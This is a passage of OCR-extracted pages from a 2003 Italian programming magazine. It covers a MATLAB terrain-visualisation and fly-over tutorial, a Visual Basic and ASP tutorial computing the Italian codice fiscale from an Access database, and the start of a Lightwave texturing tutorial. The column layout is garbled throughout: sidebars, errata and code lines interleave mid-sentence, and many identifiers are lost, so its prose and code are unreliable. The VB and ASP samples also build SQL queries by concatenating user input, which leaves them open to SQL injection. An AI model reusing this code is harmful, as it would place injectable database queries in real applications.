[8] mente, troncano e
arrotondano per ec-
>> minimo = min(min(zi)); L’aggiunta di una fonte di luce ha ulteriormente tra- cesso.
>> massimo = max(max(zi)); sformato la visualizzazione rendendola particolarmen-
>> [r_topo, c_topo] = size(topomap); te interessante. Il risultato di questi semplici passi è mo-
>> a = find(zi<0); strato in Fig. 3.
>> b = find(zi>=0);
>> soglia = 101;
>> [r_it, c_it] = size(zi);
>> cdata = zi*0;
>> cdata(a) = fix((zi(a) - minimo) / (abs(minimo)
/ soglia) + 1);
>> cdata(b) = ceil(zi(b) / (massimo/(r_topo – soglia
- 1)) + soglia + 1);
>> cdata = reshape(cdata, r_it, c_it);
>> set(hs, 'cdata', cdata);
>> colormap(topomap)
[8]
La funzione re-
shape rimodel-
Può sembrare un codice complesso ma, non appena la i dati dell’array
comprenderemo bene quale sia il suo significato, appa- “cdata” per farli di-
Fig. 3: Mappa dell’elevazione del terreno italiano. venire delle stesse
rirà in tutta la sua semplicità. Nelle prime tre righe, cal- dimensioni di “zi”.
Provate a ruotare l’immagine.
coliamo dei parametri che ci serviranno nel seguito per
riscalare i dati. Il codice diviene interessante a partire
dalla quarta riga: la funzione find opera una ricerca al- ANALISI DATI
l’interno della matrice zi e restituisce gli indici delle po- Il nostro ultimo compito è quello di analizzare l’anda-
sizioni dove si verifica la condizione specificata in ar- mento dei nostri dati. Avendo a disposizione dei dati di
gomento. Con le variabili a e b abbiamo ora a disposi- elevazione, è quasi naturale pensare di poter andare a
zione gli indici di tutti quei punti di zi dove le superfi- vedere più da vicino alcune forme che il terreno assu-
cie è emersa (b) o sotto il mare (a). Sapendo dalla co- me presso i rilievi o le profondità marine. Il primo pro-
struzione della mappa che la tavolozza blu si estende in blema da risolvere è relativo al dove vogliamo andare a
topomap sino al 101-esimo elemento possiamo ora risca- vedere meglio i nostri dati. Questo è abbastanza facil-
lare i dati compresi in zi per creare un’altra matrice che mente risolvibile per mezzo dei controlli della camera
contiene delle elevazioni comprese tra 1 e r_topo (mas- presenti sulla finestra grafica (menu “View/Camera Tool-
simo numero di colori a disposizione per il mare). Le li- bar”); a questo punto compare una nuova toolbar che
nee che iniziano con “cdata(a)=…” e “cdata(b)=…” illu- contiene una serie di bottoni che impostano un certo
strano bene una delle caratteristiche più comode e allo movimento del punto da cui si osserva la scena (la ca-

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 103
100-104 Matlab 31-05-2003 10:46 Pagina 104

C o r s i B a s e G G G G G G G G G G G G G

mera appunto). Usando questi comandi, è semplice in- Considerato che probabilmente anche con il mouse non
grandire porzioni di superficie o navigare attorno ad possiamo essere così precisi ed il numero di punti su
esse. Stiamo invece tentando un’operazione un po’ più una geografia così vasta potrebbe condurre ad una vi-
sofisticata. Il nostro scopo è quello di simulare un volo sualizzazione a scatti e strappi decidiamo di aumentare
sull’Italia decidendo di volta in volta il percorso. Per fa- i punti di un fattore f. La funzione interp si occupa di
re questo, abbiamo bisogno ogni volta di definire accu- “ricampionare” i dati aumentandoli di un fattore f. Vie-
MATLAB ratamente le coordinate sulle quali vogliamo transitare. ne ora il momento di decidere a quale altezza vogliamo
Ma questo è un compito particolarmente noioso e lun- volare: in questo caso scegliamo di viaggiare ad un’al-
go. Invece, opereremo in maniera interattiva per rica- tezza di 100 metri maggiore di quella del luogo in cui ci
vare il percorso. Esiste una funzione MATLAB chiama- si trova. Il ciclo che segue imposta di volte in volta la
ta ginput che è in grado di raccogliere tutti i click del posizione della camera (campos), il punto verso cui si
mouse fatti su un’immagine grafica. Esso restituisce le vuole guardare (camtarget) e riposizione la luce che illu-
coordinate del luogo e consente di leggere N punti dal- mina la scena automaticamente nel punto in cui ci tro-
l’asse corrente e di ottenere le coordinate x e y (vettori) viamo e nella direzioni in cui guardiamo. Notiamo che
Un piccolo di lunghezza N. Il cursore può essere posizionato con il il target verso cui si guarda è impostato in una direzio-
errore mouse oppure utilizzando i tasti freccia. I punti vengo- ne che è quella delle coordinate di 3 punti in avanti ed
Nell’articolo no rilevati nel momento in cui si preme un bottone del al 90% dell’altezza alla quale ci troviamo attualmente.
apparso sullo
mouse oppure quando viene premuto un qualunque In Fig. 4 possiamo vedere l’immagine finale che ci si
scorso numero di
ioProgrammo, ab- tasto sulla tastiera ad eccezione del tasto “return”, il presenta alla fine di uno dei “voli” di prova che abbia-
biamo commesso un quale termina l’input degli N punti. mo fatto.
errore nel riportare
due formule a pagi-
>> [x,y] = ginput;
na 99. Ce ne scusia-
mo con i lettori e ri-
portiamo di seguito Una volta che si abbia a disposizione la sequenza delle
le formule corrette: coordinate sulle quali si vuole transitare è necessario
ERRATA:
scrivere una routine che ci faccia “volare” sulla superfi-
I polinomi di Tche- cie:
byshev sono definiti
per n>= ϑ e x appar- >> set(gca, 'CameraViewAngleMode', 'manual');
tenente all’interval-
>> camva(20)
lo [-1,1]
>> camproj perspective
CORRIGE: >> daspect([1, 1, 500]);
I polinomi di Tche-
>> delete(h0); Fig. 4: Immagine finale del volo.
byshev sono definiti
per n>= 0 e x appar- >> delete(h20);
tenente all’interval- >> hlight = camlight('headlight');
lo [-1,1]
Il codice preparatorio al “volo” ci consente di imposta- CONCLUSIONI
re in manuale l’angolo di vista delle superfici (Camera- I metodi di lettura, manipolazione, visualizzazione ed
ERRATA: ViewAngleMode), di impostare a 20 gradi l’angolo sotto analisi dei dati sono la base di un grande numero di ap-
Per mezzo dell’iden- il quale vediamo la scena (camva), di visualizzarla con plicazioni pratiche del calcolo. Qui ne sono stati illu-
tità eiϑ = cos ϑ + isen
una prospettiva realistica (camproj), di deenfatizzare le strati alcuni che rappresentano la base di tali indagini.
ϑ e posto x=cos ϑ
per ϑ appartenente altezze dei monti e le profondita’ marine in modo da Nei prossimi numeri scopriremo quanto questi ci pos-
all’intervallo [ ϑ, ›] non vedere picchi troppo accentuati. sano essere utili e ne esploreremo dei nuovi. Abbiamo
Inoltre, decidiamo di cancellare le linee di livello prece- imparato a leggere dati binari in formato “.mat” (MA-
CORRIGE:
Per mezzo dell’iden-
dentemente poste a zero e a venti metri di altitudine in TLAB) e ad accedere a più complessi dati in formato
tità eiϑ = cos ϑ + isen modo da non disturbare la visualizzazione e creiamo ASCII. Inoltre, abbiamo appreso come trasformare le
ϑ e posto x=cos ϑ una nuova fonte di luce che ci servirà ad illuminare me- nostre visualizzazioni ed a personalizzarle con mappe
per ϑ appartenente glio la scena. di colore specifiche di una certa applicazione. L’inter-
all’intervallo [ 0, ›]
polazione 2D ci ha aiutato ad aumentare la quantità dei
>> f = 10; dati che stavamo elaborando e le tecniche di visualiz-
>> xvolo = interp(x, f); zazione più avanzate ci hanno consentito di navigare
>> yvolo = interp(y, f); attraverso di loro con efficacia. Nei prossimi numeri ri-
>> zvolo = zi(fix(xvolo), fix(yvolo)) + 100; prenderemo il nostro cammino all’interno di MATLAB
>> for i = 1:length(xvolo) - 3 iniziando a trattare altri modelli matematici che ci con-
>> campos([xvolo(i), yvolo(i), zvolo(i)]) sentiranno di studiare la realtà che ci circonda in ma-
>> camtarget([xvolo(i+3), yvolo(i+3), zvolo(i+3)*0.9]) niera appropriata. Per maggiori informazioni sui pro-
>> camlight(hlight, 'headlight') dotti della famiglia MATLAB potete consultare il sito di
>> drawnow The MathWorks ([Link]).
>> end Fabrizio Sara ([Link]@[Link])

104 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
105-109 VB Av 31-05-2003 10:48 Pagina 105

E E E E E E E E E E C o r s i A v a n z a t i

✓ Il codice Fiscale in Visual Basic e in VbScript


Il Codice Fiscale Visual


Basic
sul Web parte seconda

Il codice fiscale è uno strumento indispensabile


in ogni contesto operativo, implementiamo un’applicazione
per valutarlo su internet.

File Sul CD

N
el precedente articolo abbiamo descritto e ap- postando soltanto i caratteri iniziali del nome o la pro-
plicato le regole per il calcolo del codice fisca- vincia) e descriveremo come adattare il codice Visual \soft\codice
\VBAva_Cf.zip
le. In particolare abbiamo implementato la Basic a VbScript, questo, come è noto, ci consentirà di
funzione CalcoloCF che riceve come parametri i dati migrare l’applicazione su Internet.
anagrafici (Cognome, Nome, DataNascita, sesso, comune) e File sul Web
restituisce il codice fiscale. Questa funzione l’abbiamo [Link]
inserita in un progetto Visual Basic che contiene il form LA GESTIONE DEI COMUNI /ioProg71/VBAva_Cf.zip
mostrato in Fig. 1. Sul form, oltre ai textbox per l’inse- Nel precedente articolo non abbiamo completato il co-
dice che permette di gestire l’interazione con il databa-
se. Ricordiamo che sulla form sono presenti 3 Combo-
Box: Comboprovince che contiene i Record della tabella
Province; Combocomuni che contiene tutti i comuni (ele-
menti della tabella comuni) la cui provincia è specifica-
ta in [Link], infine ComboLike che è di sup-
porto nella fase di ricerca dei comuni.
Quest’ultimo combobox conterrà le descrizioni (dei co-
muni) simili o uguali a quella specificata nel textbox ASP
La tecnologia ASP
txtcomune, questo serve per evitare ambiguità quando permette di gesti-
si ricerca il codice del comune a partire dalla sua de- re siti dinamici cioè in
Fig. 1: Il form che permette di gestire i dati e scrizione. grado di restituire pa-
generare il codice fiscale. gine HTML. Le applica-
Analizziamo il codice per caricare il Comboprovince.
zioni ASP di solito sono
scritte in VbScript. Per
rimento dei dati anagrafici sono presenti gli elementi Public Sub caricacomboprovincia() sviluppare un’applica-
che consentono di interrogare il database di supporto Dim com As [Link] zione ASP (detta Web
Application) possono
all’applicazione. Ricordiamo che questo è un database Set com = InitRecordset("SELECT * FROM Province
essere usati vari tool e
Access con due tabelle (comuni e province) che conten- order by comu_prov") sistemi operativi.
gono rispettivamente i dati sui comuni e sulle provin- While Not [Link] Gli esempi fatti nell’ar-
ce d’Italia (mancano gli stati esteri). Oltre alla procedu- [Link] com!comu_prov ticolo sono implemen-
tati utilizzando Win-
ra citata, abbiamo introdotto la routine che consente di [Link]
dows XP Professional e
eseguire una query sul database cioè la InitRecordset Wend IIS (Internet Informa-
che ha come parametro una query e restituisce un re- End Sub tion Services) 5.1.
cordset caricato con i dati ricavati dal database. Queste
funzioni non saranno trattate in quanto sono esposte Questa procedura bisogna richiamarla dalla Form_
nel CD-Rm allegato alla rivista. L’articolo precedente si Load:
è concluso con l’introduzioni al successivo appunta-
mento; in questo nuovo appuntamento completeremo Private Sub Form_Load()
l’applicazione Codice Fiscale (che prevede calcolo e ve- caricacomboprovincia
rifica del codice fiscale, ricerca dei dati sui comuni im- End Sub

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 105
105-109 VB Av 31-05-2003 10:49 Pagina 106

C o r s i A v a n z a t i G G G G G G G G G G

rettamente nei textbox predisposti possiamo avvalerci


di un codice simile al seguente (da inserire nella Txtco-
mune_LostFocus).

Private Sub Txtcomune_LostFocus()

Visual
[Link]
If Len(Txtcomune) = 0 Then Exit Sub

Basic Dim prov As String


Txtcomune = UCase(Txtcomune)
Set rstcomuni = InitRecordset("SELECT * FROM comuni
where" & " comu_descr = '" + Txtcomune + "'")
If [Link] = 0 Then

Fig. 2: IIS 5.1 e il wizard per creare le directory Set rstcomuni = InitRecordset("SELECT * FROM comuni
virtuali. where" & " comu_descr like '" + Txtcomune + "%'")
End If
Nella procedura passiamo la query (seleziona tutti gli Select Case [Link]
elementi della tabella province in ordine alfabetico) ad Case 0
InitRecordset che carica il Recordset “com”. MsgBox "Comune non trovato"
Come accennato, dopo aver selezionato un elemento Case 1
del comboprovince si carica il combocomuni, cioè si pre- Txtcomune = rstcomuni!comu_descr
vede il seguente codice in comboProvince_Click: Txtprovincia = rstcomuni!comu_prov
Txtcodice = rstcomuni!comu_cod
Private Sub comboProvince_Click() Case Is > 1
[Link] While Not [Link]
caricacombocomuni ([Link]) [Link] rstcomuni!comu_descr + " - " _
End Sub & rstcomuni!comu_prov + " - " + rstcomuni!comu_cod
[Link] [Link]
[Link] è la nuo- In cui la caricacombocomuni è la seguente: Wend
va release di ASP.
[Link] = 1
Essa è stata com-
pletamente riscritta Public Sub caricacombocomuni(prov As String) End Select
però continua a convi- Dim com As [Link] End Sub
vere con la tecnologia Set com = InitRecordset("SELECT * FROM comuni
precedente. [Link]
where comu_prov='" & prov + La procedura precedente può inviare due tipi di query,
presenta molte novità
che consentono di mi- "' order by comu_descr") una per trovare uno specifico comune e l’altra per tro-
gliorare l’efficienza While Not [Link] vare un insieme di comuni. Questo insieme viene sele-
delle applicazioni per il [Link] com!comu_descr + " - " zionato attraverso una Select con il comando LIKE ap-
Web, sia in termini di
+ com!comu_cod plicato alla descrizione del comune. Come si può con-
prestazioni che di sicu-
rezza. Le applicazioni [Link] statare, prima viene inviata la query per ricercare un
ASP .NET non sono in- Wend comune, se questa non restituisce nessun record viene
terpretate, come le
[Link] = 0 lanciata la query con il LIKE. In ogni caso i record re-
precedenti, ma compi-
late con la tecnologia End Sub stituiti sono filtrati attraverso una istruzione CASE im-
di compilazione “just postata sul numero dei record restituiti da rstcomuni
in time”. La caricacombocomuni carica il combocomuni con il nome ([Link]).
e il codice (nella forma nome - codice) dei comuni del- In particolare, se il numero di comuni trovati e supe-
la provincia selezionata in comboprovince. Infine, è logi- riore a 1 questi vengono caricati nel Combolike per una
co prevedere, nella combocomuni_Click il codice per ca- successiva selezione attraverso la seguente procedura.
ricare i dati del comune nei tre textbox predisposti:
Private Sub Combolike_Click()
Private Sub combocomuni_Click() Dim pos As Integer
Dim pos As Integer pos = InStr(1, Combolike, " - ")
pos = InStr(1, combocomuni, " - ") Txtcomune = Mid([Link], 1, pos - 1)
Txtcomune = Mid([Link], 1, pos - 1) Txtprovincia = Mid([Link], pos + 3, 2)
Txtprovincia = comboProvince Txtcodice = Mid([Link], pos + 8, 4)
Txtcodice = Mid([Link], pos + 3, 4) End Sub
End Sub

VERIFICA
RICERCA MANUALE DEL CODICE FISCALE
Se volessimo scrivere i dati del comune di nascita di- A questo punto non resta che descrivere come verifica-

106 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
105-109 VB Av 31-05-2003 10:50 Pagina 107

E E E E E E E E E E C o r s i A v a n z a t i

re un codice fiscale. La verifica può essere fatta valu- IL CODICE FISCALE


tando e confrontando il sedicesimo carattere del codi- IN VBSCRIPT
ce. Ricordiamo che il sedicesimo carattere, detto di con- Descriviamo gli oggetti che bisogna disporre sulle due
trollo, è un carattere ricavato convertendo i primi 15 ca- pagine dell’applicazione (mostrate nelle Fig. 3 e 4). In
ratteri secondo i dati delle tabelle presentate nel prece- particolare nella pagina [Link] inseriamo elementi si-
dente articolo. In particolare i caratteri di posizione pa- mili a quelli previsti per il Form1 del progetto Visual
ri devono essere convertiti secondo la Tabella 2 mentre Basic. Visual
Basic
i caratteri di posizione dispari seconda la Tabella 3. Do-
po la conversione si sommano i valori ottenuti e il to-
tale viene diviso per 26. Il resto della divisione viene
convertito secondo la Tabella 4. La procedura che per-
mette di fare questi calcoli e la successiva verifica è fa-
cilmente ricavabile dalla procedura CalcolaCF, vista nel
precedente appuntamento. Naturalmente questa veri-
fica può essere affinata, per esempio, codificando il no-
me e il cognome ecc. se naturalmente sono in vostro
possesso.

VBSCRIPT, ASP E IIS


Descriviamo come adattare i concetti appresi ad una
Fig. 3: La pagina ASP per inserire i dati e valutare il
Web Application sviluppata con tecnologia ASP. In- codice fiscale.
nanzitutto premettiamo qualche informazione sulle
pagine HTML ed ASP. In una pagina HTML il codice Dunque inseriamo:
VbScript deve essere inserito nel Tag <Script>, invece
nelle pagine ASP bisogna inserirlo nel Tag “<% … • un form HTML specificato attraverso i Tag: CreateObject
%>”. Le pagine HTML e ASP possono essere create con CreateObject è
editor dedicati, come per esempio Frontpage, oppure <form name="nomeform" action="[Link]"> una funzione che
crea e restituisce un
con il Blocco note (salvando il file con estensione …
riferimento ad un Acti-
HTML o ASP). </form>, che servirà come contenitore degli altri elementi. veX, la sintassi è la se-
Attenzione, però, il codice delle pagina HTML può es- guente:
sere eseguito anche se la pagina non è pubblicata su un • degli elementi di input (simili ai textbox VB) che
CreateObject(classe,
Web Server, mentre le pagine ASP possono essere ese- serviranno per specificare il nome, cognome ecc.;
[nomeserver]).
guite solo dopo la pubblicazione. Per i nostri esempi questi sono definiti attraverso i Tag:
potete usare un Web Server come IIS o Personal Web Classe è il nome del-
Server. In alternativa, se non avete installato un Web <input name="nome elemento" size="lunghezza l’applicazione e classe
dell’oggetto da creare,
Server, potete utilizzare lo spazio Web offerto da qual- massima" Value=”contenuto”>.
mentre nomeserver è
che Internet Provider. il nome del Server di
Potete trovare ulteriori informazioni su questi argo- • degli elementi di scelta (simili ai ComboBox), spe- rete su cui sarà creato
menti nei nostri precedenti articoli. cificati con i seguenti Tag: l’oggetto.

<select size="1" name="nome combobox">.


IL PROGETTO WEB BASED </select>, questi serviranno per selezionare il sesso
Il progetto Web based per il codice fiscale è composto e la provincia;
da due pagine ASP e dal database [Link]. Questi
elementi possono essere inseriti in un Web Side svilup-
pato con FrontPage oppure, semplicemente, in una di-
rectory virtuale del Web Server. Così come nel nostro
esempio le pagine le nominiamo [Link] e [Link].
La prima permetterà di inserire i dati anagrafici e valu-
tare il codice fiscale, la [Link], invece, servirà a se-
lezionare il codice del comune. La directory di suppor-
to la creiamo sotto “C:/” e poi attraverso il Wizard -
creazione guidata directory virtuale - di IIS 5.1 la rendiamo
pubblica ed eseguibile in un Browser.
Ricordiamo che in Windows Xp Professional per av-
viare IIS bisogna aprire il pannello di controllo e sele-
zionare “strumenti di amministrazione”/”Internet Infor- Fig. 4: La pagina per selezionare il codice del
mation Services”. comune.

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 107
105-109 VB Av 31-05-2003 10:50 Pagina 108

C o r s i A v a n z a t i G G G G G G G G G G

• alcuni pulsanti necessari per la sottomissione dei Set objRS = CreateObject("[Link]")


dati del form e per eseguire delle procedura, la sin- Set objRS = [Link](StrQuery)
tassi per questo tipo di elementi è del tipo: [Link] =objRS ("comu_cod")
Set objConn=nothing
<input type="submit" value="invia">. Set objrs=nothing

Visual
End Sub
Sulla pagina [Link], invece, predisporremo un Sub bcodice_OnClick

Basic elemento di scelta (per selezionare il comune) e un pul-


sante (per inviare il dato selezionato alla pagina
[Link]). Faremo in modo che la pagina [Link] sia
Dim TheForm
Set TheForm = Document.form1
msgbox "select * from comuni where
visualizzata dopo aver selezionato una provincia sulla comu_descr='"+[Link]+"'"
pagina [Link]. Come accennato, queste due pagine de- InitRecordset ("select * from comuni where
vono essere salvate nella directory virtuale “cf”. Dopo comu_descr='"+[Link]+"'")
che la directory è stata resa virtuale per avviare il pro- End Sub
getto dal Browser, nella barra degli indirizzi di Internet Sub province_Onchange
Explorer, bisogna scrivere [Link] [Link]="/cf/[Link]?message="
[Link] (cioè [Link] +[Link]
End Sub
</script>
LE PAGINA ASP <%
Ora, sommariamente, descriviamo come implementare function calcolacfVB(Cognome, Nome, DataNascita,
il codice VbScript per [Link] e [Link]. Premettia- sesso, comune)
mo che non implementiamo la funzione CalcolaCF e ‘questa funzione è simile alla CalcolaCF definita nel
che sulle pagine non inseriamo nessun elemento deco- progetto VB
rativo o di layout (tabelle ecc.). ‘per questo non la descriviamo
calcolacfVB=cognome & "-" & nome & "-" & datanascita
& "-" & sesso & "-" &comune
end function
if [Link]("Cognome")<>"" and [Link](
"nome")<>"" and [Link]("Data")<>"" and _
Estero
[Link]("sesso")<>"" and [Link](
Per quanto ri-
guarda il codice "codice")<>"" then
fiscale dei nati all’este- ‘avvia la calcolacfVB quando sono specificati tutti i valori
ro, nel database com-
calcolato=calcolacfVB([Link]("Cognome"),
pleto dei comuni sono
inseriti, anche, i codici [Link]("nome"),[Link]("Data"), _
degli stati esteri. [Link]("sesso"),[Link]("codice"))
end if
if [Link]("Message") = "" then
‘serve a non caricare le province dopo aver selezionato
il comune sulla pagina [Link]
Fig. 5: La pagina [Link] dopo aver selezionato il
%>
codice del comune.
Province
Iniziamo con il codice della [Link]. Nella pagina defi- <select size="1" name="province">
niamo 3 procedure VbScript: <%
‘carica le province
• InitRecord, che esegue una query sul database; Set objConn = [Link]("[Link]")
• bcodice_OnClick che cattura un evento (Click) del [Link] ("Provider= [Link].4.0;
bottone bcodice e richiama la procedura InitRecord; Data Source = \cf\[Link]")
• province_Onchange che cattura l’evento change Set objRS = CreateObject("[Link]")
dell’elemento province e carica nel Browser la pagi- StrQuery="select * from province order by comu_prov"
na [Link]: Set objRS = [Link](StrQuery)
while not [Link]
<html> %>
<body> <option value=<%=objRS("comu_prov")%> > <%
<script language="VBScript"> =objRS("comu_prov") %></option>
Sub InitRecordset (StrQuery) <%
Set objConn = [Link]("[Link]") [Link]
[Link] ("Provider= [Link].4.0; wend
Data Source = \cf\[Link]") Set objConn=nothing

108 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
105-109 VB Av 31-05-2003 10:50 Pagina 109

E E E E E E E E E E C o r s i A v a n z a t i

Set objrs=nothing Facciamo notare che, dopo aver confermato i dati del
end if form con il pulsante “invia”, i textbox, tranne quello del
%> codice fiscale, verranno “resettati”; per evitare questo,
</select> per ogni elemento di input, dovete inserire del codice
<FORM METHOD="POST" ACTION="[Link]" simile a quello previsto per il “textbox” codice fiscale.
language="vbscript" name="form1" > Per la pagina [Link] prevediamo il seguente co-
Comune&nbsp;&nbsp; dice.
Visual
Basic
<input name="comune" size="20">&nbsp;
<% <script language="VBScript">
[Link] "<input name=codice size=4" Sub invia_Onclick
‘carica il comune dopo averlo selezionato sulla ‘riporta alla pagina [Link] e ricorda il codice del comune
pagina [Link] selezionato
[Link] " value=" + [Link]="/cf/[Link]?message="+[Link]
[Link]("Message")+">" %> End Sub
</p> </script>
Nome <%
<input name="nome" size="20"></p> if [Link]("Message") <> "" then
Cognome [Link] "<font color=blue><b> Provincia: " &
<input name="cognome" size="20"></p> [Link]("Message")&"</font></b><br><br>"
Data di nascita [Link] "seleziona il comune"
<input name="data" size="20" maxlength="10"></p> end if
Sesso %>
<select size="1" name="sesso"> <select size="1" name="comuni">
<option selected value="M">M</option> <%
<option value="F">F</option> ‘carica i comuni della provincia selezionata sulla pagina [Link]
</select></p> Set objConn = [Link]("[Link]")
<b>Codice Fiscale</b> [Link] ("Provider= [Link].4.0;
HTML e ASP
<% Data Source = \cf\[Link]") Le pagine HTML e
if calcolato="" then Set objRS = CreateObject("[Link]") ASP possono es-
sere create con editor
‘imposta il textbox codice fiscale StrQuery="select * from comuni where comu_prov
dedicati, come per
[Link] "<input name=codicefiscale ='"+[Link]("Message") esempio Frontpage,
size=16 " +"'order by comu_prov" oppure con il Blocco
[Link] " value>" Set objRS = [Link](StrQuery) note (salvando il file
con estensione HTML
Else while not [Link] %>
o ASP). Attenzione,
‘imposta il textbox codice fiscale con il contenuto <option value=<%=objRS("comu_cod")%> > <% però, il codice delle
della variabile codicefiscale =objRS("comu_descr") %></option> pagina HTML può es-
[Link] "<input name=codicefiscale size=16" <% sere eseguito anche
se la pagina non è
[Link] " value=" +calcolato + ">" [Link]
pubblicata su un Web
end if wend Server, mentre le pa-
%> Set objConn=nothing gine ASP possono es-
</p> Set objrs=nothing %> sere eseguite solo do-
po la pubblicazione.
</p> </select> </p>
<INPUT TYPE=submit VALUE="Invia" > <INPUT TYPE=submit VALUE="Invia pagina precedente"
<input type="reset" value="Annulla" name="annulla"> name="invia">
</FORM>
<INPUT TYPE=submit VALUE=" Codice Comune" Facciamo notare che nella pagina [Link] manca il
name="bcodice" > codice per passare la descrizione del comune alla pagi-
</body> na [Link].
</html>

Sottolineiamo che la procedura InitRecordset è simile al- CONCLUSIONI


la InitRecordset del progetto Visual Basic e che nella pro- Con questo appuntamento abbiamo completato l’ap-
vince_Onchange alla [Link], attraverso la pro- plicazione Visual Basic per il calcolo del codice fiscale e
prietà location dell’oggetto document viene passata la descritto come realizzare la medesima applicazione
provincia selezionata, che servirà a stabilire quali co- con una Web Application; quest’ultima non è stata
muni caricare nel select della pagine Comuni. Il pulsan- completata, ma crediamo che la sua realizzazione non
te Codice Comune (bcodice) serve a valutare il codice del creerà grossi problemi, dato che ne abbiamo illustrato
comune dopo aver specificato la descrizione nel text co- le parti principali. Buon lavoro.
mune (un metodo che evita l’uso della [Link]). Massimo Autiero

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 109
110-114 Lightwave 4-06-2003 11:05 Pagina 110

Multimedia G Lightwave

Ambienti
renderizzati parte terza G Lightwave
Roberto Lombardo

Prosegue la realizzazione della nostra stanza: realizziamo le texture


del nostro modello.
l modello base della nostra stanza è texture saranno eseguiti in Adobe re come bump, polvere o ruggine, si è

I pronto, in questo tutorial vedremo


quali texture impiegare e la loro appli-
cazione sul modello 3D. Utilizzeremo
Photoshop. Inserendo le texture nel
nostro modello vedremo cambiare in
modo significativo l’aspetto dello stesso
preferito preferito non usarle in questo
tutorial per rendere il tutto più facilmen-
te realizzabile con strumenti normali e
texture di tipo “fotorealistico”, quindi e il suo dettaglio, completato il proces- bitmap facilmente reperibili. Texture di
provenienti da foto o scansioni per otte- so di texturizzazione possiamo esegui- legno, mattoni, marmo, metallo ecc si
nere, così, un risultato migliore in fase re i primi rendering di prova per verifi- trovano ormai tranquillamente in giro
di rendering finale. Per aumentare ulte- care la resa delle mappe bitmap da noi per la rete, utilizzate quelle che più vi
riormente il realismo del nostro lavoro inserite. In alcuni casi potevamo anche aggradano avendo cura di rispettare la
mapperemo le texture su tutti i canali di utilizzare in supporto o addirittura in tipologia del materiale da impiegare.
superficie interessati, ovvero fornendo sostituzione di texture di tipo bitmap, Non ci resta che iniziare il tutorial par-
una bump, una texture per la diffusione alcune tipologie di texture procedurali tendo dalla base del nostro oggetto, il
luminosa ecc. I ritocchi necessari alle per la creazione di “disturbi” sulla textu- pavimento della stanza.

F1 Il pavimento
La prima cosa da fare è realiz- Photoshop, per costruire sopra
zare un riferimento sul quale di essa la texture vera e pro- F2 La texture
andare a “disegnare” la nostra pria. Eviteremo di usare piccole
texture, questo ci servirà per texture tailizzate sul modello Ecco il motivo base scelto diverse altre mappe per ren-
rendere quest’ultima perfetta- tramite uv mapping preferen- per il pavimento, questo è derlo più adatto al risultato
mente adatta e precisa alle do un'unica texture per l’intera stato clonato nel nostro pro- voluto in fase di rendering
dimensioni della stanza, inol- superficie. gramma di fotoritocco sino a finale e all’atmosfera horror
tre, cosi facendo, sappiamo In figura abbiamo il nostro rife- completare l’intero pavimen- di vecchio stampo da ricrea-
esattamente dove andranno a rimento grafico catturato tra- to, su di esso applicheremo re per la nostra scena.
cadere eventuali aggiunte di mite la pressione del tasto
sporco, polvere ecc. Possiamo
semplicemente catturare la top
“print screen” della tastiera,
non resta che scegliere un
2
view del pavimento e importar- motivo di base per il pavimen-
la nel nostro programma di to, in questo caso dei listelli di
fotoritocco, nel mio caso Adobe legno, e inserirlo nella bitmap.

110 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
110-114 Lightwave 31-05-2003 10:51 Pagina 111

F3-4 Mappe in Multitexturing F6-7-8 Texture per le pareti


Possiamo vedere le texture uti- ogni texture impiegata variando In Figura 6 abbiamo un riqua- irregolari usando lo strumento
lizzate per il pavimento del contrasto e luminosità sino ad dro che mostra la prima delle 2 gomma di Adobe Photoshop
piano superiore, anche in que- ottenere il risultato desiderato, texture per le pareti grandi, con una pressione variabile dal
sto caso abbiamo una texture questa è stata poi utilizzata per essa è composta da una base 30% al 15%; in Figura 7
di base (legno) è un’altra appli- i canali di bump, specularità e di carta da parati chiara sulla abbiamo la texture pronta e il
cata in semi trasparenza su di diffusione della luce. Il risultato quale viene applicata un’altra suo corrispettivo in toni di gri-
essa per “sporcarla” in modo finale mostra un pavimento mappa per sporcare il layer gio da usare per le altre carat-
irregolare. In Fig. 4 abbiamo la usurato che a tratti presenta sottostante, questa seconda teristiche di superficie.
texture del pavimento completa imperfezioni di superficie, riflet- bitmap viene cancellata a tratti Per creare la seconda variante
e la sua applicazione sul mo- te la luce in modo non omoge-
dello. Abbiamo utilizzato anche
le versioni in toni di grigio per
neo e mantiene la sua caratte-
ristica di base.
6
3

e le pareti più piccole del piano


7 superiore, basterà importare
4 nuovamente la texture di spor-
co nel layer superiore della
carta da parati e cancellarla in
modo differente, variando cosi
il motivo della texture stessa.
In Figura 8 possiamo vedere
un render di prova con le tex-
ture delle mura inserite sul
modello. L’effetto risultante è
quello di una stanza molto vec-
chia e malandata con materiali
usurati dal tempo.

F5 Le mura
Passiamo alla creazione la creazione delle stesse.
delle texture del muro, in Dobbiamo creare 2 texture
questo caso non occorre con le stesse dimensioni per
prendere il riferimento per mappare le 3 pareti grandi
del piano terra e 2 per
5 mappare la parete del
piano superiore e della
relativa base, queste ulti-
me saranno grandi la
metà delle precedenti.
In figura possiamo vedere
un semplice specchietto
che illustra le dimensioni
delle 4 texture da creare.

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 111
110-114 Lightwave 31-05-2003 10:52 Pagina 112

Multimedia G Lightwave

F9-10 Il soffitto
Adesso realizziamo la textu- soffitto e la loro composi- per rendere il tutto più anti- freddo ed effetto “plastica”
re per il soffitto, il procedi- zione, mentre in Figura 10 co e vecchio, bisogna ricor- tipico delle immagini 3D.
mento è identico a quello possiamo vedere la texture dare inoltre che, inserire Anche il soffitto è ultimato,
delle pareti, ovvero utilizza- “soffitto” completa e in un imperfezioni in immagini 3D abbiamo inserito un motivo
re una texture di base sulla render di prova. Nel caso come appunto sporco, pol- decorativo accennato sulla
quale poi andremo ad appli- della nostra stanza, essen- vere e altro, contribuiscono texture, motivo che acco-
care diversi layer per spor- do ispirata ad un videoga- enormemente ad aumenta- glierà nella parte centrale il
